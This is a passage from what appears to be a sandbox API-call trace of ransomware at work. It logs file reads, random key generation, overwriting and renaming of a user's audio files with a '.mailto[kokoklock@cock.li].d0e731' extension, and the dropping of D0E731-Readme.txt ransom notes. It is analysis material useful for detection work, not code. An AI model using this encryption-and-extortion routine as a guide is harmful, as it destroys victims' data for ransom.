BaseAddress=0x34794a8) returned 1 [0075.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34794d0) returned 1 [0075.483] CloseHandle (hObject=0x9dc) returned 1 [0075.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3429558 [0075.484] wcscpy (in: _Dest=0x3429558, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav" [0075.484] wcscat (in: _Dest=0x3429558, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731" [0075.484] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\2975uxh.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\2975uxh.wav.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.486] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.486] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429558) returned 1 [0075.486] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav", dwFileAttributes=0x20) returned 0 [0075.486] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33ccd70 [0075.486] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" [0075.486] wcscat (in: _Dest=0x33ccd70, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt" [0075.486] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\d0e731-readme.txt")) returned 0xffffffff [0075.486] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9dc [0075.487] WriteFile (in: hFile=0x9dc, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1cabfb4c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1cabfb4c*=0x481, lpOverlapped=0x0) returned 1 [0075.487] CloseHandle (hObject=0x9dc) returned 1 [0075.488] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0075.488] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0075.488] RtlExitUserThread (Status=0x1) Thread: id = 763 os_tid = 0x1238 [0075.489] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\fkdt3t.wav")) returned 0x20 [0075.489] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav", dwFileAttributes=0x20) returned 1 [0075.489] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\fkdt3t.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9dc [0075.489] GetFileSizeEx (in: hFile=0x9dc, lpFileSize=0x1cb3fe80 | out: lpFileSize=0x1cb3fe80*=54501) returned 1 [0075.489] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0xd4e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.489] ReadFile (in: hFile=0x9dc, lpBuffer=0x1cb3fe54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1cb3fe50, lpOverlapped=0x0 | out: lpBuffer=0x1cb3fe54*, lpNumberOfBytesRead=0x1cb3fe50*=0x4, lpOverlapped=0x0) returned 1 [0075.489] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.489] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795c0 [0075.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0075.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34794a8 [0075.490] NtQuerySystemTime (in: CurrentTime=0x1cb3fe2c | out: CurrentTime=0x1cb3fe2c*=132121176333784002) returned 0x0 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x50c0770c [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x37c8c1a [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0xa8341141 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0xb823c464 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x6464ac91 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x9caee26f [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0xd325668 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x2057a6b9 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x2aa10bd2 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x9159f3a9 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x1482223e [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x983c0e78 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x8a4c300 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x34826401 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x1f1ae8c5 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0xa27c4628 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x8e487df9 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x266cd870 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x1ad5c7c7 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x140c7a28 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0xe7ce4314 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x4b0d6ab7 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x3c82c667 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x26819deb [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x5c768f [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x2a353943 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0xddb67e96 [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x8c911dfe [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x5ffcac8c [0075.490] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x27d5b892 [0075.491] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x7ed486f [0075.491] RtlRandom (in: Seed=0x1cb3fe38 | out: Seed=0x1cb3fe38) returned 0x1c5d0217 [0075.501] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.502] ReadFile (in: hFile=0x9dc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1cb3fe04, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1cb3fe04*=0x4096, lpOverlapped=0x0) returned 1 [0075.502] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0075.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0075.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479520 [0075.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.503] WriteFile (in: hFile=0x9dc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1cb3fe04, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1cb3fe04*=0x4096, lpOverlapped=0x0) returned 1 [0075.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.503] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0xd4e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.503] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1cb3fe3c, lpOverlapped=0x0 | out: lpBuffer=0x3479520*, lpNumberOfBytesWritten=0x1cb3fe3c*=0x20, lpOverlapped=0x0) returned 1 [0075.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479520) returned 1 [0075.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.503] WriteFile (in: hFile=0x9dc, lpBuffer=0x34794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1cb3fe50, lpOverlapped=0x0 | out: lpBuffer=0x34794f8*, lpNumberOfBytesWritten=0x1cb3fe50*=0x8, lpOverlapped=0x0) returned 1 [0075.503] WriteFile (in: hFile=0x9dc, lpBuffer=0x1cb3fe68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cb3fe50, lpOverlapped=0x0 | out: lpBuffer=0x1cb3fe68*, lpNumberOfBytesWritten=0x1cb3fe50*=0x4, lpOverlapped=0x0) returned 1 [0075.503] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cb3fe50, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1cb3fe50*=0x4, lpOverlapped=0x0) returned 1 [0075.503] WriteFile (in: hFile=0x9dc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1cb3fe50, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1cb3fe50*=0x6c, lpOverlapped=0x0) returned 1 [0075.503] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1cb3fe50, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1cb3fe50*=0x20, lpOverlapped=0x0) returned 1 [0075.503] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cb3fe50, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1cb3fe50*=0x4, lpOverlapped=0x0) returned 1 [0075.504] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0075.504] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34794d0) returned 1 [0075.504] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34794f8) returned 1 [0075.504] CloseHandle (hObject=0x9dc) returned 1 [0075.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xaa) returned 0x3429558 [0075.504] wcscpy (in: _Dest=0x3429558, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav" [0075.504] wcscat (in: _Dest=0x3429558, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731" [0075.504] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\fkdt3t.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\fkdt3t.wav.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.504] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429558) returned 1 [0075.505] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav", dwFileAttributes=0x20) returned 0 [0075.505] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33ccd70 [0075.505] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" [0075.505] wcscat (in: _Dest=0x33ccd70, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt" [0075.505] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\d0e731-readme.txt")) returned 0x20 [0075.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0075.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347da80) returned 1 [0075.505] RtlExitUserThread (Status=0x1) Thread: id = 764 os_tid = 0x123c [0075.506] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\tntgoh5net4z7n.m4a")) returned 0x20 [0075.506] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a", dwFileAttributes=0x20) returned 1 [0075.506] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\tntgoh5net4z7n.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9dc [0075.507] GetFileSizeEx (in: hFile=0x9dc, lpFileSize=0x1cbbfa68 | out: lpFileSize=0x1cbbfa68*=56355) returned 1 [0075.507] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0xdc1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.507] ReadFile (in: hFile=0x9dc, lpBuffer=0x1cbbfa3c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1cbbfa38, lpOverlapped=0x0 | out: lpBuffer=0x1cbbfa3c*, lpNumberOfBytesRead=0x1cbbfa38*=0x4, lpOverlapped=0x0) returned 1 [0075.507] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.507] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795c0 [0075.507] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0075.507] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34794d0 [0075.507] NtQuerySystemTime (in: CurrentTime=0x1cbbfa14 | out: CurrentTime=0x1cbbfa14*=132121176333940475) returned 0x0 [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0xb2d8be7 [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0x3ad6686d [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0xdcf6d5e8 [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0xa8830087 [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0x669636f9 [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0x110643b8 [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0xcefd3b47 [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0xa6cd03bb [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0x627e41b6 [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0xd0dba78d [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0xf8d4c0c3 [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0x34db7684 [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0xefcdbcaf [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0xcbe764d5 [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0x65edbfbb [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0xe03116ee [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0x620b0292 [0075.507] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0xd549e4a2 [0075.508] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0xc2db25fc [0075.508] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0x8d3c4310 [0075.508] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0x37be6976 [0075.508] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0xe2ebf326 [0075.508] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0x81ae6e56 [0075.508] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0x8ad678f8 [0075.508] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0xce325229 [0075.508] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0x39eef7b [0075.508] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0x44ee2124 [0075.508] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0x6e784f4c [0075.508] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0x42b31390 [0075.508] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0x454d0ed6 [0075.508] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0x679b1bce [0075.508] RtlRandom (in: Seed=0x1cbbfa20 | out: Seed=0x1cbbfa20) returned 0xe44eda5f [0075.570] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.570] ReadFile (in: hFile=0x9dc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1cbbf9ec, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1cbbf9ec*=0x4096, lpOverlapped=0x0) returned 1 [0075.570] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.570] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0075.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0075.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479570 [0075.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0075.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.571] WriteFile (in: hFile=0x9dc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1cbbf9ec, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1cbbf9ec*=0x4096, lpOverlapped=0x0) returned 1 [0075.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.572] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0xdc23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.572] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479548*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1cbbfa24, lpOverlapped=0x0 | out: lpBuffer=0x3479548*, lpNumberOfBytesWritten=0x1cbbfa24*=0x20, lpOverlapped=0x0) returned 1 [0075.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.572] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479520*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1cbbfa38, lpOverlapped=0x0 | out: lpBuffer=0x3479520*, lpNumberOfBytesWritten=0x1cbbfa38*=0x8, lpOverlapped=0x0) returned 1 [0075.572] WriteFile (in: hFile=0x9dc, lpBuffer=0x1cbbfa50*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cbbfa38, lpOverlapped=0x0 | out: lpBuffer=0x1cbbfa50*, lpNumberOfBytesWritten=0x1cbbfa38*=0x4, lpOverlapped=0x0) returned 1 [0075.572] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cbbfa38, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1cbbfa38*=0x4, lpOverlapped=0x0) returned 1 [0075.572] WriteFile (in: hFile=0x9dc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1cbbfa38, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1cbbfa38*=0x6c, lpOverlapped=0x0) returned 1 [0075.572] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1cbbfa38, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1cbbfa38*=0x20, lpOverlapped=0x0) returned 1 [0075.572] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cbbfa38, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1cbbfa38*=0x4, lpOverlapped=0x0) returned 1 [0075.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0075.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34794f8) 